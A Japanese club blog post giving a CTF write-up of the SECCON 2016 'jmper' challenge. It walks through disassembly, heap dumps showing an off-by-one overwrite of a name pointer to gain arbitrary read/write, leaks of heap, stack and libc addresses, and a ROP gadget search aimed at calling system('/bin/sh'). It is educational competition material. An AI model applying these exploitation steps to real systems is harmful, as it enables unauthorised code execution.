もふもふ

くんかくんか

seccon2016 jmper

これは何ですか。

www.adventar.org

この記事はOUCC アドベントカレンダー 2016http://www.adventar.org/calendars/1389の12日目の記事の予定でしたが、完全に頭から抜けていたので13日目に公開されました。

昨日(一昨日)の記事は@okwrtdsh 先輩による「GitHubTravis Cを使って何かする」でした。

Introduction · GitBook

明日(今日)は @chiudesu 氏が何か書いてくれます。

ほんぺ

先日SECCON2016 Onlineがありました。 去年とはがらりと変わってバイナリオブザバイナリオブバイナリで殴り殺されました。(完)

というわけでその中で解けた(解けたとは言ってない)問題のwriteupを一問分置いておきます。 問題はjmper(Exploit300)です。溶けた!と思ったら15時を5分くらい過ぎてたので溶けてないです。 部員の中にはCTF何それおいしいのていう人もいると思うんで、どんな感じなのか雰囲気を感じ取ってもらえればよいかと思います。 とりあえず適当に書きなぐってるのでわかりにくいと思いますが雰囲気だけでも感じ取って下しえ。

らいとあっぷ

リモート鯖で動いてるelfバイナリとlibcが渡される。

目的は、脆弱な部分を見つけてshellを取り転がってるであろうflag(txtファイル)を読むこと。

まずchecksec.shでセキュリティ機構の確認。

tyanya@tyanya-VirtualBox:~/seccon/jumper$ /opt/checksec/checksec -f jmper 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  FORTIFY Fortified Fortifiable  FILE
Full RELRO      No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   No  0       4   jmper
tyanya@tyanya-VirtualBox:~/seccon/jumper$ /opt/checksec/checksec -f libc-2.19.so-8674307c6c294e2f710def8c57925a50e60ee69e 
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH  FORTIFY Fortified Fortifiable  FILE
Partial RELRO   Canary found      NX enabled    DSO             No RPATH   No RUNPATH   Yes 78      166 libc-2.19.so-8674307c6c294e2f710def8c57925a50e60ee69e

disasはこちら

000000000040081d <f>:
  40081d:   55                      push   rbp
  40081e:   48 89 e5                mov    rbp,rsp
  400821:   48 83 ec 20             sub    rsp,0x20
  400825:   c7 05 f9 17 20 00 00    mov    DWORD PTR [rip+0x2017f9],0x0        # 602028 <student_num>
  40082c:   00 00 00 
  40082f:   bf e8 0c 40 00          mov    edi,0x400ce8
  400834:   e8 47 fe ff ff          call   400680 <puts@plt>
  400839:   48 8d 45 e8             lea    rax,[rbp-0x18]
  40083d:   48 89 c6                mov    rsi,rax
  400840:   bf 3c 0d 40 00          mov    edi,0x400d3c
  400845:   b8 00 00 00 00          mov    eax,0x0
  40084a:   e8 c1 fe ff ff          call   400710 <__isoc99_scanf@plt>
  40084f:   e8 6c fe ff ff          call   4006c0 <getchar@plt>
  400854:   8b 45 e8                mov    eax,DWORD PTR [rbp-0x18]
  400857:   83 f8 01                cmp    eax,0x1
  40085a:   0f 85 88 00 00 00       jne    4008e8 <f+0xcb>
  400860:   8b 05 c2 17 20 00       mov    eax,DWORD PTR [rip+0x2017c2]        # 602028 <student_num>
  400866:   83 f8 1d                cmp    eax,0x1d
  400869:   7e 1e                   jle    400889 <f+0x6c>
  40086b:   bf 3f 0d 40 00          mov    edi,0x400d3f
  400870:   e8 0b fe ff ff          call   400680 <puts@plt>
  400875:   48 8b 05 bc 17 20 00    mov    rax,QWORD PTR [rip+0x2017bc]        # 602038 <jmpbuf>
  40087c:   be 52 bf 01 00          mov    esi,0x1bf52
  400881:   48 89 c7                mov    rdi,rax
  400884:   e8 77 fe ff ff          call   400700 <longjmp@plt>
  400889:   bf 30 00 00 00          mov    edi,0x30
  40088e:   e8 4d fe ff ff          call   4006e0 <malloc@plt>
  400893:   48 89 45 f8             mov    QWORD PTR [rbp-0x8],rax
  400897:   8b 05 8b 17 20 00       mov    eax,DWORD PTR [rip+0x20178b]        # 602028 <student_num>
  40089d:   48 63 d0                movsxd rdx,eax
  4008a0:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]
  4008a4:   48 89 10                mov    QWORD PTR [rax],rdx
  4008a7:   bf 20 00 00 00          mov    edi,0x20
  4008ac:   e8 2f fe ff ff          call   4006e0 <malloc@plt>
  4008b1:   48 89 c2                mov    rdx,rax
  4008b4:   48 8b 45 f8             mov    rax,QWORD PTR [rbp-0x8]
  4008b8:   48 89 50 28             mov    QWORD PTR [rax+0x28],rdx
  4008bc:   48 8b 05 6d 17 20 00    mov    rax,QWORD PTR [rip+0x20176d]        # 602030 <my_class>
  4008c3:   8b 15 5f 17 20 00       mov    edx,DWORD PTR [rip+0x20175f]        # 602028 <student_num>
  4008c9:   48 63 d2                movsxd rdx,edx
  4008cc:   48 8b 4d f8             mov    rcx,QWORD PTR [rbp-0x8]
  4008d0:   48 89 0c d0             mov    QWORD PTR [rax+rdx*8],rcx
  4008d4:   8b 05 4e 17 20 00       mov    eax,DWORD PTR [rip+0x20174e]        # 602028 <student_num>
  4008da:   83 c0 01                add    eax,0x1
  4008dd:   89 05 45 17 20 00       mov    DWORD PTR [rip+0x201745],eax        # 602028 <student_num>
  4008e3:   e9 bb 02 00 00          jmp    400ba3 <f+0x386>
  4008e8:   8b 45 e8                mov    eax,DWORD PTR [rbp-0x18]
  4008eb:   83 f8 02                cmp    eax,0x2
  4008ee:   0f 85 bf 00 00 00       jne    4009b3 <f+0x196>
  4008f4:   be 5d 0d 40 00          mov    esi,0x400d5d
  4008f9:   bf 61 0d 40 00          mov    edi,0x400d61
  4008fe:   b8 00 00 00 00          mov    eax,0x0
  400903:   e8 88 fd ff ff          call   400690 <printf@plt>
  400908:   48 8d 45 e4             lea    rax,[rbp-0x1c]
  40090c:   48 89 c6                mov    rsi,rax
  40090f:   bf 3c 0d 40 00          mov    edi,0x400d3c
  400914:   b8 00 00 00 00          mov    eax,0x0
  400919:   e8 f2 fd ff ff          call   400710 <__isoc99_scanf@plt>
  40091e:   e8 9d fd ff ff          call   4006c0 <getchar@plt>
  400923:   8b 55 e4                mov    edx,DWORD PTR [rbp-0x1c]
  400926:   8b 05 fc 16 20 00       mov    eax,DWORD PTR [rip+0x2016fc]        # 602028 <student_num>
  40092c:   39 c2                   cmp    edx,eax
  40092e:   7d 07                   jge    400937 <f+0x11a>
  400930:   8b 45 e4                mov    eax,DWORD PTR [rbp-0x1c]
  400933:   85 c0                   test   eax,eax
  400935:   79 14                   jns    40094b <f+0x12e>
  400937:   bf 64 0d 40 00          mov    edi,0x400d64
  40093c:   e8 3f fd ff ff          call   400680 <puts@plt>
  400941:   bf 01 00 00 00          mov    edi,0x1
  400946:   e8 d5 fd ff ff          call   400720 <exit@plt>
  40094b:   be 70 0d 40 00          mov    esi,0x400d70
  400950:   bf 61 0d 40 00          mov    edi,0x400d61
  400955:   b8 00 00 00 00          mov    eax,0x0
  40095a:   e8 31 fd ff ff          call   400690 <printf@plt>
  40095f:   48 8b 05 ca 16 20 00    mov    rax,QWORD PTR [rip+0x2016ca]        # 602030 <my_class>
  400966:   8b 55 e4                mov    edx,DWORD PTR [rbp-0x1c]
  400969:   48 63 d2                movsxd rdx,edx
  40096c:   48 8b 04 d0             mov    rax,QWORD PTR [rax+rdx*8]
  400970:   48 8b 40 28             mov    rax,QWORD PTR [rax+0x28]
  400974:   48 89 45 f0             mov    QWORD PTR [rbp-0x10],rax
  400978:   c7 45 ec 00 00 00 00    mov    DWORD PTR [rbp-0x14],0x0
  40097f:   eb 27                   jmp    4009a8 <f+0x18b>
  400981:   e8 3a fd ff ff          call   4006c0 <getchar@plt>
  400986:   88 45 e3                mov    BYTE PTR [rbp-0x1d],al
  400989:   80 7d e3 0a             cmp    BYTE PTR [rbp-0x1d],0xa
  40098d:   75 06                   jne    400995 <f+0x178>
  40098f:   90                      nop
  400990:   e9 0e 02 00 00          jmp    400ba3 <f+0x386>
  400995:   48 8b 45 f0             mov    rax,QWORD PTR [rbp-0x10]
  400999:   0f b6 55 e3             movzx  edx,BYTE PTR [rbp-0x1d]
  40099d:   88 10                   mov    BYTE PTR [rax],dl
  40099f:   48 83 45 f0 01          add    QWORD PTR [rbp-0x10],0x1
  4009a4:   83 45 ec 01             add    DWORD PTR [rbp-0x14],0x1
  4009a8:   83 7d ec 20             cmp    DWORD PTR [rbp-0x14],0x20
  4009ac:   7e d3                   jle    400981 <f+0x164>
  4009ae:   e9 f0 01 00 00          jmp    400ba3 <f+0x386>
  4009b3:   8b 45 e8                mov    eax,DWORD PTR [rbp-0x18]
  4009b6:   83 f8 03                cmp    eax,0x3
  4009b9:   0f 85 bf 00 00 00       jne    400a7e <f+0x261>
  4009bf:   be 5d 0d 40 00          mov    esi,0x400d5d
  4009c4:   bf 61 0d 40 00          mov    edi,0x400d61
  4009c9:   b8 00 00 00 00          mov    eax,0x0
  4009ce:   e8 bd fc ff ff          call   400690 <printf@plt>
  4009d3:   48 8d 45 e4             lea    rax,[rbp-0x1c]
  4009d7:   48 89 c6                mov    rsi,rax
  4009da:   bf 3c 0d 40 00          mov    edi,0x400d3c
  4009df:   b8 00 00 00 00          mov    eax,0x0
  4009e4:   e8 27 fd ff ff          call   400710 <__isoc99_scanf@plt>
  4009e9:   e8 d2 fc ff ff          call   4006c0 <getchar@plt>
  4009ee:   8b 55 e4                mov    edx,DWORD PTR [rbp-0x1c]
  4009f1:   8b 05 31 16 20 00       mov    eax,DWORD PTR [rip+0x201631]        # 602028 <student_num>
  4009f7:   39 c2                   cmp    edx,eax
  4009f9:   7d 07                   jge    400a02 <f+0x1e5>
  4009fb:   8b 45 e4                mov    eax,DWORD PTR [rbp-0x1c]
  4009fe:   85 c0                   test   eax,eax
  400a00:   79 14                   jns    400a16 <f+0x1f9>
  400a02:   bf 64 0d 40 00          mov    edi,0x400d64
  400a07:   e8 74 fc ff ff          call   400680 <puts@plt>
  400a0c:   bf 01 00 00 00          mov    edi,0x1
  400a11:   e8 0a fd ff ff          call   400720 <exit@plt>
  400a16:   be 7c 0d 40 00          mov    esi,0x400d7c
  400a1b:   bf 61 0d 40 00          mov    edi,0x400d61
  400a20:   b8 00 00 00 00          mov    eax,0x0
  400a25:   e8 66 fc ff ff          call   400690 <printf@plt>
  400a2a:   48 8b 05 ff 15 20 00    mov    rax,QWORD PTR [rip+0x2015ff]        # 602030 <my_class>
  400a31:   8b 55 e4                mov    edx,DWORD PTR [rbp-0x1c]
  400a34:   48 63 d2                movsxd rdx,edx
  400a37:   48 8b 04 d0             mov    rax,QWORD PTR [rax+rdx*8]
  400a3b:   48 83 c0 08             add    rax,0x8
  400a3f:   48 89 45 f0             mov    QWORD PTR [rbp-0x10],rax
  400a43:   c7 45 ec 00 00 00 00    mov    DWORD PTR [rbp-0x14],0x0
  400a4a:   eb 27                   jmp    400a73 <f+0x256>
  400a4c:   e8 6f fc ff ff          call   4006c0 <getchar@plt>
  400a51:   88 45 e3                mov    BYTE PTR [rbp-0x1d],al
  400a54:   80 7d e3 0a             cmp    BYTE PTR [rbp-0x1d],0xa
  400a58:   75 06                   jne    400a60 <f+0x243>
  400a5a:   90                      nop
  400a5b:   e9 43 01 00 00          jmp    400ba3 <f+0x386>
  400a60:   48 8b 45 f0             mov    rax,QWORD PTR [rbp-0x10]
  400a64:   0f b6 55 e3             movzx  edx,BYTE PTR [rbp-0x1d]
  400a68:   88 10                   mov    BYTE PTR [rax],dl
  400a6a:   48 83 45 f0 01          add    QWORD PTR [rbp-0x10],0x1
  400a6f:   83 45 ec 01             add    DWORD PTR [rbp-0x14],0x1
  400a73:   83 7d ec 20             cmp    DWORD PTR [rbp-0x14],0x20
  400a77:   7e d3                   jle    400a4c <f+0x22f>
  400a79:   e9 25 01 00 00          jmp    400ba3 <f+0x386>
  400a7e:   8b 45 e8                mov    eax,DWORD PTR [rbp-0x18]
  400a81:   83 f8 04                cmp    eax,0x4
  400a84:   0f 85 83 00 00 00       jne    400b0d <f+0x2f0>
  400a8a:   be 5d 0d 40 00          mov    esi,0x400d5d
  400a8f:   bf 61 0d 40 00          mov    edi,0x400d61
  400a94:   b8 00 00 00 00          mov    eax,0x0
  400a99:   e8 f2 fb ff ff          call   400690 <printf@plt>
  400a9e:   48 8d 45 e4             lea    rax,[rbp-0x1c]
  400aa2:   48 89 c6                mov    rsi,rax
  400aa5:   bf 3c 0d 40 00          mov    edi,0x400d3c
  400aaa:   b8 00 00 00 00          mov    eax,0x0
  400aaf:   e8 5c fc ff ff          call   400710 <__isoc99_scanf@plt>
  400ab4:   e8 07 fc ff ff          call   4006c0 <getchar@plt>
  400ab9:   8b 55 e4                mov    edx,DWORD PTR [rbp-0x1c]
  400abc:   8b 05 66 15 20 00       mov    eax,DWORD PTR [rip+0x201566]        # 602028 <student_num>
  400ac2:   39 c2                   cmp    edx,eax
  400ac4:   7d 07                   jge    400acd <f+0x2b0>
  400ac6:   8b 45 e4                mov    eax,DWORD PTR [rbp-0x1c]
  400ac9:   85 c0                   test   eax,eax
  400acb:   79 14                   jns    400ae1 <f+0x2c4>
  400acd:   bf 64 0d 40 00          mov    edi,0x400d64
  400ad2:   e8 a9 fb ff ff          call   400680 <puts@plt>
  400ad7:   bf 01 00 00 00          mov    edi,0x1
  400adc:   e8 3f fc ff ff          call   400720 <exit@plt>
  400ae1:   48 8b 05 48 15 20 00    mov    rax,QWORD PTR [rip+0x201548]        # 602030 <my_class>
  400ae8:   8b 55 e4                mov    edx,DWORD PTR [rbp-0x1c]
  400aeb:   48 63 d2                movsxd rdx,edx
  400aee:   48 8b 04 d0             mov    rax,QWORD PTR [rax+rdx*8]
  400af2:   48 8b 40 28             mov    rax,QWORD PTR [rax+0x28]
  400af6:   48 89 c6                mov    rsi,rax
  400af9:   bf 61 0d 40 00          mov    edi,0x400d61
  400afe:   b8 00 00 00 00          mov    eax,0x0
  400b03:   e8 88 fb ff ff          call   400690 <printf@plt>
  400b08:   e9 96 00 00 00          jmp    400ba3 <f+0x386>
  400b0d:   8b 45 e8                mov    eax,DWORD PTR [rbp-0x18]
  400b10:   83 f8 05                cmp    eax,0x5
  400b13:   0f 85 80 00 00 00       jne    400b99 <f+0x37c>
  400b19:   be 5d 0d 40 00          mov    esi,0x400d5d
  400b1e:   bf 61 0d 40 00          mov    edi,0x400d61
  400b23:   b8 00 00 00 00          mov    eax,0x0
  400b28:   e8 63 fb ff ff          call   400690 <printf@plt>
  400b2d:   48 8d 45 e4             lea    rax,[rbp-0x1c]
  400b31:   48 89 c6                mov    rsi,rax
  400b34:   bf 3c 0d 40 00          mov    edi,0x400d3c
  400b39:   b8 00 00 00 00          mov    eax,0x0
  400b3e:   e8 cd fb ff ff          call   400710 <__isoc99_scanf@plt>
  400b43:   e8 78 fb ff ff          call   4006c0 <getchar@plt>
  400b48:   8b 55 e4                mov    edx,DWORD PTR [rbp-0x1c]
  400b4b:   8b 05 d7 14 20 00       mov    eax,DWORD PTR [rip+0x2014d7]        # 602028 <student_num>
  400b51:   39 c2                   cmp    edx,eax
  400b53:   7d 07                   jge    400b5c <f+0x33f>
  400b55:   8b 45 e4                mov    eax,DWORD PTR [rbp-0x1c]
  400b58:   85 c0                   test   eax,eax
  400b5a:   79 14                   jns    400b70 <f+0x353>
  400b5c:   bf 64 0d 40 00          mov    edi,0x400d64
  400b61:   e8 1a fb ff ff          call   400680 <puts@plt>
  400b66:   bf 01 00 00 00          mov    edi,0x1
  400b6b:   e8 b0 fb ff ff          call   400720 <exit@plt>
  400b70:   48 8b 05 b9 14 20 00    mov    rax,QWORD PTR [rip+0x2014b9]        # 602030 <my_class>
  400b77:   8b 55 e4                mov    edx,DWORD PTR [rbp-0x1c]
  400b7a:   48 63 d2                movsxd rdx,edx
  400b7d:   48 8b 04 d0             mov    rax,QWORD PTR [rax+rdx*8]
  400b81:   48 83 c0 08             add    rax,0x8
  400b85:   48 89 c6                mov    rsi,rax
  400b88:   bf 61 0d 40 00          mov    edi,0x400d61
  400b8d:   b8 00 00 00 00          mov    eax,0x0
  400b92:   e8 f9 fa ff ff          call   400690 <printf@plt>
  400b97:   eb 0a                   jmp    400ba3 <f+0x386>
  400b99:   bf 00 00 00 00          mov    edi,0x0
  400b9e:   e8 7d fb ff ff          call   400720 <exit@plt>
  400ba3:   e9 87 fc ff ff          jmp    40082f <f+0x12>

0000000000400ba8 <main>:
  400ba8:   55                      push   rbp
  400ba9:   48 89 e5                mov    rbp,rsp
  400bac:   48 83 ec 10             sub    rsp,0x10
  400bb0:   48 8b 05 61 14 20 00    mov    rax,QWORD PTR [rip+0x201461]        # 602018 <stdin@@GLIBC_2.2.5>
  400bb7:   b9 00 00 00 00          mov    ecx,0x0
  400bbc:   ba 02 00 00 00          mov    edx,0x2
  400bc1:   be 00 00 00 00          mov    esi,0x0
  400bc6:   48 89 c7                mov    rdi,rax
  400bc9:   e8 22 fb ff ff          call   4006f0 <setvbuf@plt>
  400bce:   48 8b 05 3b 14 20 00    mov    rax,QWORD PTR [rip+0x20143b]        # 602010 <__TMC_END__>
  400bd5:   b9 00 00 00 00          mov    ecx,0x0
  400bda:   ba 02 00 00 00          mov    edx,0x2
  400bdf:   be 00 00 00 00          mov    esi,0x0
  400be4:   48 89 c7                mov    rdi,rax
  400be7:   e8 04 fb ff ff          call   4006f0 <setvbuf@plt>
  400bec:   bf 88 0d 40 00          mov    edi,0x400d88
  400bf1:   e8 8a fa ff ff          call   400680 <puts@plt>
  400bf6:   bf a0 0d 40 00          mov    edi,0x400da0
  400bfb:   e8 80 fa ff ff          call   400680 <puts@plt>
  400c00:   bf f0 00 00 00          mov    edi,0xf0
  400c05:   e8 d6 fa ff ff          call   4006e0 <malloc@plt>
  400c0a:   48 89 05 1f 14 20 00    mov    QWORD PTR [rip+0x20141f],rax        # 602030 <my_class>
  400c11:   bf c8 00 00 00          mov    edi,0xc8
  400c16:   e8 c5 fa ff ff          call   4006e0 <malloc@plt>
  400c1b:   48 89 05 16 14 20 00    mov    QWORD PTR [rip+0x201416],rax        # 602038 <jmpbuf>
  400c22:   48 8b 05 0f 14 20 00    mov    rax,QWORD PTR [rip+0x20140f]        # 602038 <jmpbuf>
  400c29:   48 89 c7                mov    rdi,rax
  400c2c:   e8 7f fa ff ff          call   4006b0 <_setjmp@plt>
  400c31:   89 45 fc                mov    DWORD PTR [rbp-0x4],eax
  400c34:   83 7d fc 00             cmp    DWORD PTR [rbp-0x4],0x0
  400c38:   75 07                   jne    400c41 <main+0x99>
  400c3a:   e8 de fb ff ff          call   40081d <f>
  400c3f:   eb 0a                   jmp    400c4b <main+0xa3>
  400c41:   bf bf 0d 40 00          mov    edi,0x400dbf
  400c46:   e8 35 fa ff ff          call   400680 <puts@plt>
  400c4b:   b8 00 00 00 00          mov    eax,0x0
  400c50:   c9                      leave  
  400c51:   c3                      ret    
  400c52:   66 2e 0f 1f 84 00 00    nop    WORD PTR cs:[rax+rax*1+0x0]
  400c59:   00 00 00 
  400c5c:   0f 1f 40 00             nop    DWORD PTR [rax+0x0]
 

気合で怪しいところを探す。この手に限る(この手しか知らない)

怪しいところの図。 f:id:b_tya_nya:20161213045940p:plain

読み書き手段の確保

1,Add studentを選択するとmallocされてheap上にstudentの情報を格納する場所が確保される。

heap上のstudentの構造は、(memo)|(nameへのポインタ)|(何か)|(next_memo) ~という状態で、 memoをすべて埋めるとnameへのポインタの一番下を書き換えることができる。

下記は1番目のstudentのheap上のダンプです。

student1_name <= "B"*33
student1_memo <= まだ何も入力してない
student1_name_ptr = 0x00603220
0x6031e8:   0x00000000  0x00000000  0x00000000  0x00000000
0x6031f8:   0x00000000  0x00000000  0x00000000  0x00000000
0x603208:   0x00603220  0x00000000  0x00000000  0x00000000
0x603218:   0x00000031  0x00000000  0x42424242  0x42424242
0x603228:   0x42424242  0x42424242  0x42424242  0x42424242
0x603238:   0x42424242  0x42424242  0x00000042  0x00000000
0x603248:   0x00000041  0x00000000  0x00000001  0x00000000
0x603258:   0x00000000  0x00000000  0x00000000  0x00000000
0x603268:   0x00000000  0x00000000  0x00000000  0x00000000
0x603278:   0x00603290  0x00000000  0x00000000  0x00000000
0x603288:   0x00000031  0x00000000  0x00000000  0x00000000
0x603298:   0x00000000  0x00000000  0x00000000  0x00000000
0x6032a8:   0x00000000  0x00000000

show memo id0 => "BBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBBB"

student1_name <= "B"*33
student1_memo <= "A"*33
student1_name_ptr = 0x00603241
0x6031e8:   0x41414141  0x41414141  0x41414141  0x41414141
0x6031f8:   0x41414141  0x41414141  0x41414141  0x41414141
0x603208:   0x00603241  0x00000000  0x00000000  0x00000000
0x603218:   0x00000031  0x00000000  0x42424242  0x42424242
0x603228:   0x42424242  0x42424242  0x42424242  0x42424242
0x603238:   0x42424242  0x42424242  0x00000042  0x00000000
0x603248:   0x00000041  0x00000000  0x00000001  0x00000000
0x603258:   0x00000000  0x00000000  0x00000000  0x00000000
0x603268:   0x00000000  0x00000000  0x00000000  0x00000000
0x603278:   0x00603290  0x00000000  0x00000000  0x00000000
0x603288:   0x00000031  0x00000000  0x00000000  0x00000000
0x603298:   0x00000000  0x00000000  0x00000000  0x00000000
0x6032a8:   0x00000000  0x00000000

show memo id: 0 => ""

怪しいところ画像で文字化けしてたのはprintfによってポインタのとこまで読んでしまってたから。

また、nameはname_ptrが指す場所に書き込まれるので指定したアドレスに値を入力することができる。

ここでstudent1のname_ptrが指す先をstudent2のname_ptrにすることで、student1のnameに入力した値が指すアドレスに対して読み書きが可能になる。

student1_name <= 未入力
student1_memo <= "x"*33
student1_name_ptr -> 0x00603278
student2_name_ptr -> 0x00603290  
0x6031e8:   0x78787878  0x78787878  0x78787878  0x78787878
0x6031f8:   0x78787878  0x78787878  0x78787878  0x78787878
0x603208:   0x00603278  0x00000000  0x00000000  0x00000000
0x603218:   0x00000031  0x00000000  0x00000000  0x00000000
0x603228:   0x00000000  0x00000000  0x00000000  0x00000000
0x603238:   0x00000000  0x00000000  0x00000000  0x00000000
0x603248:   0x00000041  0x00000000  0x00000001  0x00000000
0x603258:   0x00000000  0x00000000  0x00000000  0x00000000
0x603268:   0x00000000  0x00000000  0x00000000  0x00000000
0x603278:   0x00603290  0x00000000  0x00000000  0x00000000
0x603288:   0x00000031  0x00000000  0x00000000  0x00000000
0x603298:   0x00000000  0x00000000  0x00000000  0x00000000
0x6032a8:   0x00000000  0x00000000

student1_name <= "0x60"

0x6031e8:   0x78787878  0x78787878  0x78787878  0x78787878
0x6031f8:   0x78787878  0x78787878  0x78787878  0x78787878
0x603208:   0x00603278  0x00000000  0x00000000  0x00000000
0x603218:   0x00000031  0x00000000  0x00000000  0x00000000
0x603228:   0x00000000  0x00000000  0x00000000  0x00000000
0x603238:   0x00000000  0x00000000  0x00000000  0x00000000
0x603248:   0x00000041  0x00000000  0x00000001  0x00000000
0x603258:   0x00000000  0x00000000  0x00000000  0x00000000
0x603268:   0x00000000  0x00000000  0x00000000  0x00000000
0x603278:   0x30367830  0x00000000  0x00000000  0x00000000
0x603288:   0x00000031  0x00000000  0x00000000  0x00000000
0x603298:   0x00000000  0x00000000  0x00000000  0x00000000
0x6032a8:   0x00000000  0x00000000

student1_name_ptrが指す0x00603278(student2_name_ptr)に"0x60"(0x30367830)が書き込まれてることがわかる。

この状態でstudent2_nameに何か値を入力すれば、0x30367830に書き込まれることになる。

これで読み書き手段は確保できた。

必要な情報の確保

heap,stack,libcはアドレスがランダム化されてるので動的にアドレスをゲットする。

まず、heapのベースアドレスは上記のヒープのリークから求めることができる。(下のほうを000にすればいい)

次に、stackのベースアドレスを求める。

今回のバイナリの目立つところのlongjmpについて少し調べてみると、グローバル変数のなかにsetjmpを呼ばれた瞬間のebpが記録されているらしいことが分かった。

   0x0000000000400c11 <+105>:  mov    edi,0xc8
   0x0000000000400c16 <+110>: call   0x4006e0 <malloc@plt>
   0x0000000000400c1b <+115>: mov    QWORD PTR [rip+0x201416],rax        # 0x602038 <jmpbuf>
   0x0000000000400c22 <+122>: mov    rax,QWORD PTR [rip+0x20140f]        # 0x602038 <jmpbuf>
   0x0000000000400c29 <+129>: mov    rdi,rax
   0x0000000000400c2c <+132>: call   0x4006b0 <_setjmp@plt>
=> 0x0000000000400c31 <+137>:  mov    DWORD PTR [rbp-0x4],eax
   0x0000000000400c34 <+140>: cmp    DWORD PTR [rbp-0x4],0x0
   0x0000000000400c38 <+144>: jne    0x400c41 <main+153>
   0x0000000000400c3a <+146>: call   0x40081d <f>
   0x0000000000400c3f <+151>: jmp    0x400c4b <main+163>
   0x0000000000400c41 <+153>: mov    edi,0x400dbf
   0x0000000000400c46 <+158>: call   0x400680 <puts@plt>
   0x0000000000400c4b <+163>: mov    eax,0x0
   0x0000000000400c50 <+168>: leave  

mallocで確保した領域にjmpbufのアドレス格納されてるのでそこを見てみる。

(gdb) i r
rax            0x0  0
rbx            0x0  0
rcx            0x7ffff7dd1b20   140737351850784
rdx            0x24b28345de7b86e0   2644320267328521952
rsi            0x0  0
rdi            0x603110 6304016
rbp            0x7fffffffdd30   0x7fffffffdd30
rsp            0x7fffffffdd20   0x7fffffffdd20
r8             0x603000 6303744
r9             0xd  13
r10            0x7ffff7dd1c38   140737351851064
r11            0x0  0
r12            0x400730 4196144
r13            0x7fffffffde10   140737488346640
r14            0x0  0
r15            0x0  0
rip            0x400c31 0x400c31 <main+137>
eflags         0x246    [ PF ZF IF ]
cs             0x33 51
ss             0x2b 43
ds             0x0  0
es             0x0  0
fs             0x0  0
gs             0x0  0
(gdb) x/50x 0x603110
0x603110:   0x00000000  0x00000000  0xde5b86e0  0x24b28345
0x603120:   0x00400730  0x00000000  0xffffde10  0x00007fff
0x603130:   0x00000000  0x00000000  0x00000000  0x00000000
0x603140:   0xde7b86e0  0x24b28345  0x7c5986e0  0xdb4d7c3a
0x603150:   0x00000000  0x00000000  0x00000000  0x00000000
0x603160:   0x00000000  0x00000000  0x00000000  0x00000000
0x603170:   0x00000000  0x00000000  0x00000000  0x00000000
0x603180:   0x00000000  0x00000000  0x00000000  0x00000000
0x603190:   0x00000000  0x00000000  0x00000000  0x00000000
0x6031a0:   0x00000000  0x00000000  0x00000000  0x00000000
0x6031b0:   0x00000000  0x00000000  0x00000000  0x00000000
0x6031c0:   0x00000000  0x00000000  0x00000000  0x00000000
0x6031d0:   0x00000000  0x00000000

0x603128のところにいますねぇ。

これはmain関数の時の値ですが計算でf関数のebpも求まりそうなのでこれでstackもクリアということで。

最後にlibcのアドレスをゲットしたい。

checksecがNo PIEと申しているのでgotから一度呼ばれてるlibc内の関数のアドレスを求め、 与えられてるlibcから差分を計算してやればlibcのベースアドレスを求めれそう。 今回は 0x601fb0の__libc_start_main@pltを使うことにした。

0000000000400670 <puts@plt-0x10>:
  400670:       ff 35 1a 19 20 00       push   QWORD PTR [rip+0x20191a]        # 601f90 <_GLOBAL_OFFSET_TABLE_+0x8>
  400676:       ff 25 1c 19 20 00       jmp    QWORD PTR [rip+0x20191c]        # 601f98 <_GLOBAL_OFFSET_TABLE_+0x10>
  40067c:       0f 1f 40 00             nop    DWORD PTR [rax+0x0]

0000000000400680 <puts@plt>:
  400680:       ff 25 1a 19 20 00       jmp    QWORD PTR [rip+0x20191a]        # 601fa0 <_GLOBAL_OFFSET_TABLE_+0x18>
  400686:       68 00 00 00 00          push   0x0
  40068b:       e9 e0 ff ff ff          jmp    400670 <_init+0x28>

0000000000400690 <printf@plt>:
  400690:       ff 25 12 19 20 00       jmp    QWORD PTR [rip+0x201912]        # 601fa8 <_GLOBAL_OFFSET_TABLE_+0x20>
  400696:       68 01 00 00 00          push   0x1
  40069b:       e9 d0 ff ff ff          jmp    400670 <_init+0x28>

00000000004006a0 <__libc_start_main@plt>:
  4006a0:       ff 25 0a 19 20 00       jmp    QWORD PTR [rip+0x20190a]        # 601fb0 <_GLOBAL_OFFSET_TABLE_+0x28>
  4006a6:       68 02 00 00 00          push   0x2
  4006ab:       e9 c0 ff ff ff          jmp    400670 <_init+0x28>

シェルを取る

system関数と/bin/shの文字列はlibc内に埋まっているのでpwntoolsで調達する。 あとほしいのは第一引数に/bin/shぶち込むためのpop rdi; ret;。 rp++にお世話になりました。

tyanya@tyanya-VirtualBox:~/seccon/jumper$ /tmp/rp-lin-x64 --file jmper --rop=3 --unique
Trying to open 'jmper'..
Loading ELF information..
FileFormat: Elf, Arch: Ia64
Using the Nasm syntax..

Wait a few seconds, rp++ is looking for gadgets..
in PHDR
0 found.

in LOAD
100 found.

A total of 100 gadgets found.
You decided to keep only the unique ones, 78 unique gadgets found.
0x00400b4e: adc al, 0x20 ; add byte [rcx], bh ; retn 0x077D ;  (1 found)
0x00400803: adc al, 0x55 ; mov edi, 0x00601D90 ; mov rbp, rsp ; call rax ;  (1 found)
0x00400ccf: add bl, dh ; ret  ;  (1 found)
0x00400ccd: add byte [rax], al ; add bl, dh ; ret  ;  (1 found)
0x00400ccb: add byte [rax], al ; add byte [rax], al ; add bl, dh ; ret  ;  (1 found)
0x00400c4c: add byte [rax], al ; add byte [rax], al ; leave  ; ret  ;  (1 found)
0x00400ccc: add byte [rax], al ; add byte [rax], al ; rep ret  ;  (1 found)
0x00400de5: add byte [rax], al ; add byte [rcx+rdi*8-0x01], bl ; call qword [rax+rax+0x00] ;  (1 found)
0x00400c4d: add byte [rax], al ; add cl, cl ; ret  ;  (1 found)
0x0040065b: add byte [rax], al ; add rsp, 0x08 ; ret  ;  (1 found)
0x00400c4e: add byte [rax], al ; leave  ; ret  ;  (1 found)
0x00400cce: add byte [rax], al ; rep ret  ;  (1 found)
0x00400cd2: add byte [rax], al ; sub rsp, 0x08 ; add rsp, 0x08 ; ret  ;  (1 found)
0x00400c9f: add byte [rcx+rcx*4-0x16], cl ; mov rsi, r14 ; mov edi, r15d ; call qword [r12+rbx*8] ;  (1 found)
0x00400de7: add byte [rcx+rdi*8-0x01], bl ; call qword [rax+rax+0x00] ;  (1 found)
0x004007e8: add byte [rcx], al ; rep ret  ;  (1 found)
